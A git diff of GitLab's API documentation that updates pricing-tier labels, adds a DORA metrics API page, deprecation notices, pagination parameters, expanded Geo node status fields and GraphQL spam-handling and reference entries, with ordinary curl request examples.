+The Applications API cannot be used to manage group applications or applications of individual users.
+
NOTE:
Only administrator users can use the Applications API.
diff --git a/doc/api/boards.md b/doc/api/boards.md
index 021e4103228..3252036c840 100644
--- a/doc/api/boards.md
+++ b/doc/api/boards.md
@@ -215,7 +215,7 @@ Example response:
## Update an issue board
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5954) in [GitLab Starter](https://about.gitlab.com/pricing/) 11.1.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5954) in GitLab 11.1.
Updates a project issue board.
@@ -228,10 +228,10 @@ PUT /projects/:id/boards/:board_id
| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
| `board_id` | integer | yes | The ID of a board |
| `name` | string | no | The new name of the board |
-| `assignee_id` **(STARTER)** | integer | no | The assignee the board should be scoped to |
-| `milestone_id` **(STARTER)** | integer | no | The milestone the board should be scoped to |
-| `labels` **(STARTER)** | string | no | Comma-separated list of label names which the board should be scoped to |
-| `weight` **(STARTER)** | integer | no | The weight range from 0 to 9, to which the board should be scoped to |
+| `assignee_id` **(PREMIUM)** | integer | no | The assignee the board should be scoped to |
+| `milestone_id` **(PREMIUM)** | integer | no | The milestone the board should be scoped to |
+| `labels` **(PREMIUM)** | string | no | Comma-separated list of label names which the board should be scoped to |
+| `weight` **(PREMIUM)** | integer | no | The weight range from 0 to 9, to which the board should be scoped to |
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/boards/1?name=new_name&milestone_id=43&assignee_id=1&labels=Doing&weight=4"
diff --git a/doc/api/discussions.md b/doc/api/discussions.md
index 6d0c5afa35d..828370c3386 100644
--- a/doc/api/discussions.md
+++ b/doc/api/discussions.md
@@ -860,8 +860,8 @@ Parameters for all comments:
| `position[line_range]` | hash | no | Line range for a multi-line diff note |
| `position[width]` | integer | no | Width of the image (for `image` diff notes) |
| `position[height]` | integer | no | Height of the image (for `image` diff notes) |
-| `position[x]` | integer | no | X coordinate (for `image` diff notes) |
-| `position[y]` | integer | no | Y coordinate (for `image` diff notes) |
+| `position[x]` | float | no | X coordinate (for `image` diff notes) |
+| `position[y]` | float | no | Y coordinate (for `image` diff notes) |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/merge_requests/11/discussions?body=comment"
diff --git a/doc/api/dora/metrics.md b/doc/api/dora/metrics.md
new file mode 100644
index 00000000000..31e6fee66ca
--- /dev/null
+++ b/doc/api/dora/metrics.md
@@ -0,0 +1,101 @@
+---
+stage: Release
+group: Release
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+type: reference, api
+---
+
+# DevOps Research and Assessment (DORA) key metrics API **(ULTIMATE)**
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10.
+
+All methods require [reporter permissions and above](../../user/permissions.md).
+
+## Get project-level DORA metrics
+
+Get project-level DORA metrics.
+
+```plaintext
+GET /projects/:id/dora/metrics
+```
+
+| Attribute | Type | Required | Description |
+|-------------- |-------- |----------|----------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding) can be accessed by the authenticated user. |
+| `metric` | string | yes | The [metric name](../../user/analytics/ci_cd_analytics.md#supported-metrics-in-gitlab). One of `deployment_frequency` or `lead_time_for_changes`. |
+| `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. |
+| `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. |
+| `interval` | string | no | The bucketing interval. One of `all`, `monthly` or `daily`. Default is `daily`. |
+| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. |
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/dora/metrics?metric=deployment_frequency"
+```
+
+Example response:
+
+```json
+[
+ { "2021-03-01": 3, "date": "2021-03-01", "value": 3 },
+ { "2021-03-02": 6, "date": "2021-03-02", "value": 6 },
+ { "2021-03-03": 0, "date": "2021-03-03", "value": 0 },
+ { "2021-03-04": 0, "date": "2021-03-04", "value": 0 },
+ { "2021-03-05": 0, "date": "2021-03-05", "value": 0 },
+ { "2021-03-06": 0, "date": "2021-03-06", "value": 0 },
+ { "2021-03-07": 0, "date": "2021-03-07", "value": 0 },
+ { "2021-03-08": 4, "date": "2021-03-08", "value": 4 }
+]
+```
+
+## Get group-level DORA metrics
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.10.
+
+Get group-level DORA metrics.
+
+```plaintext
+GET /groups/:id/dora/metrics
+```
+
+| Attribute | Type | Required | Description |
+|-------------- |-------- |----------|----------------------- |
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../README.md#namespaced-path-encoding) can be accessed by the authenticated user. |
+| `metric` | string | yes | The [metric name](../../user/analytics/ci_cd_analytics.md#supported-metrics-in-gitlab). One of `deployment_frequency` or `lead_time_for_changes`. |
+| `start_date` | string | no | Date range to start from. ISO 8601 Date format, for example `2021-03-01`. Default is 3 months ago. |
+| `end_date` | string | no | Date range to end at. ISO 8601 Date format, for example `2021-03-01`. Default is the current date. |
+| `interval` | string | no | The bucketing interval. One of `all`, `monthly` or `daily`. Default is `daily`. |
+| `environment_tier` | string | no | The [tier of the environment](../../ci/environments/index.md#deployment-tier-of-environments). Default is `production`. |
+
+Example request:
+
+```shell
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/dora/metrics?metric=deployment_frequency"
+```
+
+Example response:
+
+```json
+[
+ { "2021-03-01": 3, "date": "2021-03-01", "value": 3 },
+ { "2021-03-02": 6, "date": "2021-03-02", "value": 6 },
+ { "2021-03-03": 0, "date": "2021-03-03", "value": 0 },
+ { "2021-03-04": 0, "date": "2021-03-04", "value": 0 },
+ { "2021-03-05": 0, "date": "2021-03-05", "value": 0 },
+ { "2021-03-06": 0, "date": "2021-03-06", "value": 0 },
+ { "2021-03-07": 0, "date": "2021-03-07", "value": 0 },
+ { "2021-03-08": 4, "date": "2021-03-08", "value": 4 }
+]
+```
+
+## The `value` field
+
+For both the project and group-level endpoints above, the `value` field in the
+API response has a different meaning depending on the provided `metric` query
+parameter:
+
+| `metric` query parameter | Description of `value` in response |
+| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `deployment_frequency` | The number of successful deployments during the time period. |
+| `lead_time_for_changes` | The median number of seconds between the merge of the merge request (MR) and the deployment of the MR's commits for all MRs deployed during the time period. |
diff --git a/doc/api/dora4_group_analytics.md b/doc/api/dora4_group_analytics.md
index 7504d18a5de..8935fa1e121 100644
--- a/doc/api/dora4_group_analytics.md
+++ b/doc/api/dora4_group_analytics.md
@@ -8,10 +8,13 @@ type: reference, api
# DORA4 Analytics Group API **(ULTIMATE SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/291747) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../user/feature_flags.md), disabled by default.
-> - It's disabled on GitLab.com.
-> - It's not recommended for production use.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-dora4-analytics-group-api). **(ULTIMATE SELF)**
+> - [Deployed behind a feature flag](../user/feature_flags.md), disabled by default.
+> - Disabled on GitLab.com.
+> - Not recommended for production use.
+> - To use in GitLab self-managed instances, ask a GitLab administrator to [enable it](#enable-or-disable-dora4-analytics-group-api).
+
+WARNING:
+These endpoints are deprecated and will be removed in GitLab 14.0. Use the [DORA metrics API](dora/metrics.md) instead.
WARNING:
This feature might not be available to you. Check the **version history** note above for details.
diff --git a/doc/api/dora4_project_analytics.md b/doc/api/dora4_project_analytics.md
index 43250d88701..efea9723ac4 100644
--- a/doc/api/dora4_project_analytics.md
+++ b/doc/api/dora4_project_analytics.md
@@ -9,6 +9,9 @@ type: reference, api
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7.
+WARNING:
+These endpoints are deprecated and will be removed in GitLab 14.0. Use the [DORA metrics API](dora/metrics.md) instead.
+
All methods require reporter authorization.
## List project deployment frequencies
diff --git a/doc/api/epic_issues.md b/doc/api/epic_issues.md
index 17115f65b90..c4a8e2d40cc 100644
--- a/doc/api/epic_issues.md
+++ b/doc/api/epic_issues.md
@@ -14,6 +14,11 @@ results in a `404` status code.
Epics are available only in GitLab [Premium and higher](https://about.gitlab.com/pricing/).
If the Epics feature is not available, a `403` status code is returned.
+## Epic Issues pagination
+
+API results [are paginated](README.md#pagination). Requests that return
+multiple issues default to returning 20 results at a time.
+
## List issues for an epic
Gets all issues that are assigned to an epic and the authenticated user has access to.
diff --git a/doc/api/error_tracking.md b/doc/api/error_tracking.md
index c737edbdc44..306383c2de7 100644
--- a/doc/api/error_tracking.md
+++ b/doc/api/error_tracking.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/api/events.md b/doc/api/events.md
index e2ff779f3bf..38d2c934061 100644
--- a/doc/api/events.md
+++ b/doc/api/events.md
@@ -151,6 +151,8 @@ Parameters:
| `before` | date | no | Include only events created before a particular date. Please see [here for the supported format](#date-formatting) |
| `after` | date | no | Include only events created after a particular date. Please see [here for the supported format](#date-formatting) |
| `sort` | string | no | Sort events in `asc` or `desc` order by `created_at`. Default is `desc` |
+| `page` | integer | no | The page of results to return. Defaults to 1. |
+| `per_page` | integer | no | The number of results per page. Defaults to 20. |
```shell
curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/users/:id/events"
diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md
index 59f20e66ae8..fa5481b12a7 100644
--- a/doc/api/feature_flags.md
+++ b/doc/api/feature_flags.md
@@ -6,9 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Feature Flags API **(FREE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in GitLab Premium 12.5.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5.
API for accessing resources of [GitLab Feature Flags](../operations/feature_flags.md).
diff --git a/doc/api/feature_flags_legacy.md b/doc/api/feature_flags_legacy.md
index 33ea2727fb9..6e0763b6015 100644
--- a/doc/api/feature_flags_legacy.md
+++ b/doc/api/feature_flags_legacy.md
@@ -6,9 +6,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Legacy Feature Flags API **(FREE)**
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.5.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Starter](https://about.gitlab.com/pricing/) in 13.4.
-> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to [GitLab Free](https://about.gitlab.com/pricing/) in 13.5.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9566) in GitLab Premium 12.5.
+> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212318) to GitLab Free in 13.5.
WARNING:
This API is deprecated and [scheduled for removal in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/213369). Use [this API](feature_flags.md) instead.
diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md
index 0401680b016..38f11d8dfe2 100644
--- a/doc/api/geo_nodes.md
+++ b/doc/api/geo_nodes.md
@@ -372,23 +372,78 @@ Example response:
"last_successful_status_check_timestamp": 1510125024,
"version": "10.3.0",
"revision": "33d33a096a",
- "package_files_count": 10,
- "package_files_checksummed_count": 10,
+ "merge_request_diffs_count": 5,
+ "merge_request_diffs_checksum_total_count": 5,
+ "merge_request_diffs_checksummed_count": 5,
+ "merge_request_diffs_checksum_failed_count": 0,
+ "merge_request_diffs_synced_count": null,
+ "merge_request_diffs_failed_count": null,
+ "merge_request_diffs_registry_count": null,
+ "merge_request_diffs_verification_total_count": null,
+ "merge_request_diffs_verified_count": null,
+ "merge_request_diffs_verification_failed_count": null,
+ "merge_request_diffs_synced_in_percentage": "0.00%",
+ "merge_request_diffs_verified_in_percentage": "0.00%",
+ "package_files_count": 5,
+ "package_files_checksum_total_count": 5,
+ "package_files_checksummed_count": 5,
"package_files_checksum_failed_count": 0,
- "package_files_registry_count": 10,
- "package_files_synced_count": 6,
- "package_files_failed_count": 3,
- "snippet_repositories_count": 10,
- "snippet_repositories_checksummed_count": 10,
+ "package_files_synced_count": null,
+ "package_files_failed_count": null,
+ "package_files_registry_count": null,
+ "package_files_verification_total_count": null,
+ "package_files_verified_count": null,
+ "package_files_verification_failed_count": null,
+ "package_files_synced_in_percentage": "0.00%",
+ "package_files_verified_in_percentage": "0.00%",
+ "terraform_state_versions_count": 5,
+ "terraform_state_versions_checksum_total_count": 5,
+ "terraform_state_versions_checksummed_count": 5,
+ "terraform_state_versions_checksum_failed_count": 0,
+ "terraform_state_versions_synced_count": null,
+ "terraform_state_versions_failed_count": null,
+ "terraform_state_versions_registry_count": null,
+ "terraform_state_versions_verification_total_count": null,
+ "terraform_state_versions_verified_count": null,
+ "terraform_state_versions_verification_failed_count": null,
+ "terraform_state_versions_synced_in_percentage": "0.00%",
+ "terraform_state_versions_verified_in_percentage": "0.00%",
+ "snippet_repositories_count": 5,
+ "snippet_repositories_checksum_total_count": 5,
+ "snippet_repositories_checksummed_count": 5,
"snippet_repositories_checksum_failed_count": 0,
- "snippet_repositories_registry_count": 10,
- "snippet_repositories_synced_count": 6,
- "snippet_repositories_failed_count": 3,
- "group_wiki_repositories_checksummed_count": 10,
+ "snippet_repositories_synced_count": null,
+ "snippet_repositories_failed_count": null,
+ "snippet_repositories_registry_count": null,
+ "snippet_repositories_verification_total_count": null,
+ "snippet_repositories_verified_count": null,
+ "snippet_repositories_verification_failed_count": null,
+ "snippet_repositories_synced_in_percentage": "0.00%",
+ "snippet_repositories_verified_in_percentage": "0.00%",
+ "group_wiki_repositories_count": 5,
+ "group_wiki_repositories_checksum_total_count": 5,
+ "group_wiki_repositories_checksummed_count": 5,
"group_wiki_repositories_checksum_failed_count": 0,
- "group_wiki_repositories_registry_count": 10,
- "group_wiki_repositories_synced_count": 6,
- "group_wiki_repositories_failed_count": 3
+ "group_wiki_repositories_synced_count": null,
+ "group_wiki_repositories_failed_count": null,
+ "group_wiki_repositories_registry_count": null,
+ "group_wiki_repositories_verification_total_count": null,
+ "group_wiki_repositories_verified_count": null,
+ "group_wiki_repositories_verification_failed_count": null,
+ "group_wiki_repositories_synced_in_percentage": "0.00%",
+ "group_wiki_repositories_verified_in_percentage": "0.00%",
+ "pipeline_artifacts_count": 5,
+ "pipeline_artifacts_checksum_total_count": 5,
+ "pipeline_artifacts_checksummed_count": 5,
+ "pipeline_artifacts_checksum_failed_count": 0,
+ "pipeline_artifacts_synced_count": null,
+ "pipeline_artifacts_failed_count": null,
+ "pipeline_artifacts_registry_count": null,
+ "pipeline_artifacts_verification_total_count": null,
+ "pipeline_artifacts_verified_count": null,
+ "pipeline_artifacts_verification_failed_count": null,
+ "pipeline_artifacts_synced_in_percentage": "0.00%",
+ "pipeline_artifacts_verified_in_percentage": "0.00%",
},
{
"geo_node_id": 2,
@@ -459,35 +514,78 @@ Example response:
"last_successful_status_check_timestamp": 1510125024,
"version": "10.3.0",
"revision": "33d33a096a",
- "merge_request_diffs_count": 12,
- "merge_request_diffs_checksummed_count": 8,
+ "merge_request_diffs_count": 5,
+ "merge_request_diffs_checksum_total_count": 5,
+ "merge_request_diffs_checksummed_count": 5,
"merge_request_diffs_checksum_failed_count": 0,
- "merge_request_diffs_registry_count": 12,
- "merge_request_diffs_synced_count": 9,
- "merge_request_diffs_failed_count": 3,
- "package_files_count": 10,
- "package_files_checksummed_count": 10,
+ "merge_request_diffs_synced_count": 5,
+ "merge_request_diffs_failed_count": 0,
+ "merge_request_diffs_registry_count": 5,
+ "merge_request_diffs_verification_total_count": 5,
+ "merge_request_diffs_verified_count": 5,
+ "merge_request_diffs_verification_failed_count": 0,
+ "merge_request_diffs_synced_in_percentage": "100.00%",
+ "merge_request_diffs_verified_in_percentage": "100.00%",
+ "package_files_count": 5,
+ "package_files_checksum_total_count": 5,
+ "package_files_checksummed_count": 5,
"package_files_checksum_failed_count": 0,
- "package_files_registry_count": 10,
- "package_files_synced_count": 6,
- "package_files_failed_count": 3,
- "terraform_state_versions_count": 10,
- "terraform_state_versions_checksummed_count": 10,
+ "package_files_synced_count": 5,
+ "package_files_failed_count": 0,
+ "package_files_registry_count": 5,
+ "package_files_verification_total_count": 5,
+ "package_files_verified_count": 5,
+ "package_files_verification_failed_count": 0,
+ "package_files_synced_in_percentage": "100.00%",
+ "package_files_verified_in_percentage": "100.00%",
+ "terraform_state_versions_count": 5,
+ "terraform_state_versions_checksum_total_count": 5,
+ "terraform_state_versions_checksummed_count": 5,
"terraform_state_versions_checksum_failed_count": 0,
- "terraform_state_versions_registry_count": 10,
- "terraform_state_versions_synced_count": 6,
- "terraform_state_versions_failed_count": 3,
- "snippet_repositories_count": 10,
- "snippet_repositories_checksummed_count": 10,
+ "terraform_state_versions_synced_count": 5,
+ "terraform_state_versions_failed_count": 0,
+ "terraform_state_versions_registry_count": 5,
+ "terraform_state_versions_verification_total_count": 5,
+ "terraform_state_versions_verified_count": 5,
+ "terraform_state_versions_verification_failed_count": 0,
+ "terraform_state_versions_synced_in_percentage": "100.00%",
+ "terraform_state_versions_verified_in_percentage": "100.00%",
+ "snippet_repositories_count": 5,
+ "snippet_repositories_checksum_total_count": 5,
+ "snippet_repositories_checksummed_count": 5,
"snippet_repositories_checksum_failed_count": 0,
- "snippet_repositories_registry_count": 10,
- "snippet_repositories_synced_count": 6,
- "snippet_repositories_failed_count": 3,
- "group_wiki_repositories_checksummed_count": 10,
+ "snippet_repositories_synced_count": 5,
+ "snippet_repositories_failed_count": 0,
+ "snippet_repositories_registry_count": 5,
+ "snippet_repositories_verification_total_count": 5,
+ "snippet_repositories_verified_count": 5,
+ "snippet_repositories_verification_failed_count": 0,
+ "snippet_repositories_synced_in_percentage": "100.00%",
+ "snippet_repositories_verified_in_percentage": "100.00%",
+ "group_wiki_repositories_count": 5,
+ "group_wiki_repositories_checksum_total_count": 5,
+ "group_wiki_repositories_checksummed_count": 5,
"group_wiki_repositories_checksum_failed_count": 0,
- "group_wiki_repositories_registry_count": 10,
- "group_wiki_repositories_synced_count": 6,
- "group_wiki_repositories_failed_count": 3
+ "group_wiki_repositories_synced_count": 5,
+ "group_wiki_repositories_failed_count": 0,
+ "group_wiki_repositories_registry_count": 5,
+ "group_wiki_repositories_verification_total_count": 5,
+ "group_wiki_repositories_verified_count": 5,
+ "group_wiki_repositories_verification_failed_count": 0,
+ "group_wiki_repositories_synced_in_percentage": "100.00%",
+ "group_wiki_repositories_verified_in_percentage": "100.00%",
+ "pipeline_artifacts_count": 5,
+ "pipeline_artifacts_checksum_total_count": 5,
+ "pipeline_artifacts_checksummed_count": 5,
+ "pipeline_artifacts_checksum_failed_count": 0,
+ "pipeline_artifacts_synced_count": 5,
+ "pipeline_artifacts_failed_count": 0,
+ "pipeline_artifacts_registry_count": 5,
+ "pipeline_artifacts_verification_total_count": 5,
+ "pipeline_artifacts_verified_count": 5,
+ "pipeline_artifacts_verification_failed_count": 0,
+ "pipeline_artifacts_synced_in_percentage": "100.00%",
+ "pipeline_artifacts_verified_in_percentage": "100.00%",
}
]
```
@@ -554,7 +652,79 @@ Example response:
"cursor_last_event_timestamp": 1509681166,
"last_successful_status_check_timestamp": 1510125268,
"version": "10.3.0",
- "revision": "33d33a096a"
+ "revision": "33d33a096a",
+ "merge_request_diffs_count": 5,
+ "merge_request_diffs_checksum_total_count": 5,
+ "merge_request_diffs_checksummed_count": 5,
+ "merge_request_diffs_checksum_failed_count": 0,
+ "merge_request_diffs_synced_count": 5,
+ "merge_request_diffs_failed_count": 0,
+ "merge_request_diffs_registry_count": 5,
+ "merge_request_diffs_verification_total_count": 5,
+ "merge_request_diffs_verified_count": 5,
+ "merge_request_diffs_verification_failed_count": 0,
+ "merge_request_diffs_synced_in_percentage": "100.00%",
+ "merge_request_diffs_verified_in_percentage": "100.00%",
+ "package_files_count": 5,
+ "package_files_checksum_total_count": 5,
+ "package_files_checksummed_count": 5,
+ "package_files_checksum_failed_count": 0,
+ "package_files_synced_count": 5,
+ "package_files_failed_count": 0,
+ "package_files_registry_count": 5,
+ "package_files_verification_total_count": 5,
+ "package_files_verified_count": 5,
+ "package_files_verification_failed_count": 0,
+ "package_files_synced_in_percentage": "100.00%",
+ "package_files_verified_in_percentage": "100.00%",
+ "terraform_state_versions_count": 5,
+ "terraform_state_versions_checksum_total_count": 5,
+ "terraform_state_versions_checksummed_count": 5,
+ "terraform_state_versions_checksum_failed_count": 0,
+ "terraform_state_versions_synced_count": 5,
+ "terraform_state_versions_failed_count": 0,
+ "terraform_state_versions_registry_count": 5,
+ "terraform_state_versions_verification_total_count": 5,
+ "terraform_state_versions_verified_count": 5,
+ "terraform_state_versions_verification_failed_count": 0,
+ "terraform_state_versions_synced_in_percentage": "100.00%",
+ "terraform_state_versions_verified_in_percentage": "100.00%",
+ "snippet_repositories_count": 5,
+ "snippet_repositories_checksum_total_count": 5,
+ "snippet_repositories_checksummed_count": 5,
+ "snippet_repositories_checksum_failed_count": 0,
+ "snippet_repositories_synced_count": 5,
+ "snippet_repositories_failed_count": 0,
+ "snippet_repositories_registry_count": 5,
+ "snippet_repositories_verification_total_count": 5,
+ "snippet_repositories_verified_count": 5,
+ "snippet_repositories_verification_failed_count": 0,
+ "snippet_repositories_synced_in_percentage": "100.00%",
+ "snippet_repositories_verified_in_percentage": "100.00%",
+ "group_wiki_repositories_count": 5,
+ "group_wiki_repositories_checksum_total_count": 5,
+ "group_wiki_repositories_checksummed_count": 5,
+ "group_wiki_repositories_checksum_failed_count": 0,
+ "group_wiki_repositories_synced_count": 5,
+ "group_wiki_repositories_failed_count": 0,
+ "group_wiki_repositories_registry_count": 5,
+ "group_wiki_repositories_verification_total_count": 5,
+ "group_wiki_repositories_verified_count": 5,
+ "group_wiki_repositories_verification_failed_count": 0,
+ "group_wiki_repositories_synced_in_percentage": "100.00%",
+ "group_wiki_repositories_verified_in_percentage": "100.00%",
+ "pipeline_artifacts_count": 5,
+ "pipeline_artifacts_checksum_total_count": 5,
+ "pipeline_artifacts_checksummed_count": 5,
+ "pipeline_artifacts_checksum_failed_count": 0,
+ "pipeline_artifacts_synced_count": 5,
+ "pipeline_artifacts_failed_count": 0,
+ "pipeline_artifacts_registry_count": 5,
+ "pipeline_artifacts_verification_total_count": 5,
+ "pipeline_artifacts_verified_count": 5,
+ "pipeline_artifacts_verification_failed_count": 0,
+ "pipeline_artifacts_synced_in_percentage": "100.00%",
+ "pipeline_artifacts_verified_in_percentage": "100.00%",
}
```
diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md
index 1b7e273f7a1..fe92b17a121 100644
--- a/doc/api/graphql/getting_started.md
+++ b/doc/api/graphql/getting_started.md
@@ -34,7 +34,7 @@ curl "https://gitlab.com/api/graphql" --header "Authorization: Bearer $GRAPHQL_T
### GraphiQL
-GraphiQL (pronounced “graphicalâ€) allows you to run queries directly against the server endpoint
+GraphiQL (pronounced "graphical") allows you to run queries directly against the server endpoint
with syntax highlighting and autocomplete. It also allows you to explore the schema and types.
The examples below:
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index 7bbc2029d96..ace41e0e92d 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -70,7 +70,7 @@ possible.
The GitLab GraphQL API is [versionless](https://graphql.org/learn/best-practices/#versioning) and
changes are made to the API in a way that maintains backwards-compatibility.
-Occassionally GitLab needs to change the GraphQL API in a way that is not backwards-compatible.
+Occasionally GitLab needs to change the GraphQL API in a way that is not backwards-compatible.
These changes include the removal or renaming of fields, arguments or other parts of the schema.
In these situations, GitLab follows a [Deprecation and removal process](#deprecation-and-removal-process)
@@ -177,6 +177,59 @@ of a query may be altered.
Requests time out at 30 seconds.
+### Spam
+
+GraphQL mutations can be detected as spam. If this happens, a
+[GraphQL top-level error](https://spec.graphql.org/June2018/#sec-Errors) is raised. For example:
+
+```json
+{
+ "errors": [
+ {
+ "message": "Request denied. Spam detected",
+ "locations": [ { "line": 6, "column": 7 } ],
+ "path": [ "updateSnippet" ],
+ "extensions": {
+ "spam": true
+ }
+ }
+ ],
+ "data": {
+ "updateSnippet": {
+ "snippet": null
+ }
+ }
+}
+```
+
+If mutation is detected as potential spam and a CAPTCHA service is configured:
+
+- The `captchaSiteKey` should be used to obtain a CAPTCHA response value using the appropriate CAPTCHA API.
+ Only [Google reCAPTCHA v2](https://developers.google.com/recaptcha/docs/display) is supported.
+- The request can be resubmitted with the `X-GitLab-Captcha-Response` and `X-GitLab-Spam-Log-Id` headers set.
+
+```json
+{
+ "errors": [
+ {
+ "message": "Request denied. Solve CAPTCHA challenge and retry",
+ "locations": [ { "line": 6, "column": 7 } ],
+ "path": [ "updateSnippet" ],
+ "extensions": {
+ "needsCaptchaResponse": true,
+ "captchaSiteKey": "6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI",
+ "spamLogId": 67
+ }
+ }
+ ],
+ "data": {
+ "updateSnippet": {
+ "snippet": null,
+ }
+ }
+}
+```
+
## Reference
The GitLab GraphQL reference [is available](reference/index.md).
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index b395dc19681..e353346b0b1 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -38,7 +38,8 @@ Returns [`CiApplicationSettings`](#ciapplicationsettings).
### `ciConfig`
-Get linted and processed contents of a CI config. Should not be requested more than once per request.
+Linted and processed contents of a CI config.
+Should not be requested more than once per request.
Returns [`CiConfig`](#ciconfig).
@@ -62,6 +63,12 @@ Returns [`ContainerRepositoryDetails`](#containerrepositorydetails).
| ---- | ---- | ----------- |
| `id` | [`ContainerRepositoryID!`](#containerrepositoryid) | The global ID of the container repository. |
+### `currentLicense`
+
+Fields related to the current license.
+
+Returns [`CurrentLicense`](#currentlicense).
+
### `currentUser`
Get information about current user.
@@ -93,7 +100,7 @@ Returns [`DevopsAdoptionSegmentConnection`](#devopsadoptionsegmentconnection).
### `echo`
-Text to echo back.
+Testing endpoint to validate the API with.
Returns [`String!`](#string).
@@ -135,7 +142,12 @@ Returns [`InstanceSecurityDashboard`](#instancesecuritydashboard).
### `instanceStatisticsMeasurements`
-Get statistics on the instance. Deprecated in 13.10: This field was renamed. Use the `usageTrendsMeasurements` field instead.
+Get statistics on the instance.
+
+WARNING:
+**Deprecated** in 13.10.
+This was renamed.
+Use: `Query.usageTrendsMeasurements`.
Returns [`UsageTrendsMeasurementConnection`](#usagetrendsmeasurementconnection).
@@ -175,6 +187,21 @@ Returns [`Iteration`](#iteration).
| ---- | ---- | ----------- |
| `id` | [`IterationID!`](#iterationid) | Find an iteration by its ID. |
+### `licenseHistoryEntries`
+
+Fields related to entries in the license history.
+
+Returns [`LicenseHistoryEntryConnection`](#licensehistoryentryconnection).
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| `after` | [`String`](#string) | Returns the elements in the list that come after the specified cursor. |
+| `before` | [`String`](#string) | Returns the elements in the list that come before the specified cursor. |
+| `first` | [`Int`](#int) | Returns the first _n_ elements from the list. |
+| `last` | [`Int`](#int) | Returns the last _n_ elements from the list. |
+
### `metadata`
Metadata about GitLab.
@@ -209,7 +236,7 @@ Returns [`Namespace`](#namespace).
Find a package.
-Returns [`Package`](#package).
+Returns [`PackageDetailsType`](#packagedetailstype).
#### Arguments
@@ -266,7 +293,7 @@ Returns [`RunnerPlatformConnection`](#runnerplatformconnection).
### `runnerSetup`
-Get runner setup instructions.
+Runner setup instructions.
Returns [`RunnerSetup`](#runnersetup).
@@ -275,9 +302,9 @@ Returns [`RunnerSetup`](#runnersetup).
| Name | Type | Description |
| ---- | ---- | ----------- |
| `architecture` | [`String!`](#string) | Architecture to generate the instructions for. |
-| `groupId` | [`GroupID`](#groupid) | Group to register the runner for. |
+| `groupId` | [`GroupID`](#groupid) | Group to register the runner for. Deprecated in 13.11: No longer used. |
| `platform` | [`String!`](#string) | Platform to generate the instructions for. |
-| `projectId` | [`ProjectID`](#projectid) | Project to register the runner for. |
+| `projectId` | [`ProjectID`](#projectid) | Project to register the runner for. Deprecated in 13.11: No longer used. |
### `snippets`
@@ -370,6 +397,7 @@ Returns [`VulnerabilityConnection`](#vulnerabilityconnection).
| `projectId` | [`[ID!]`](#id) | Filter vulnerabilities by project. |
| `reportType` | [`[VulnerabilityReportType!]`](#vulnerabilityreporttype) | Filter vulnerabilities by report type. |
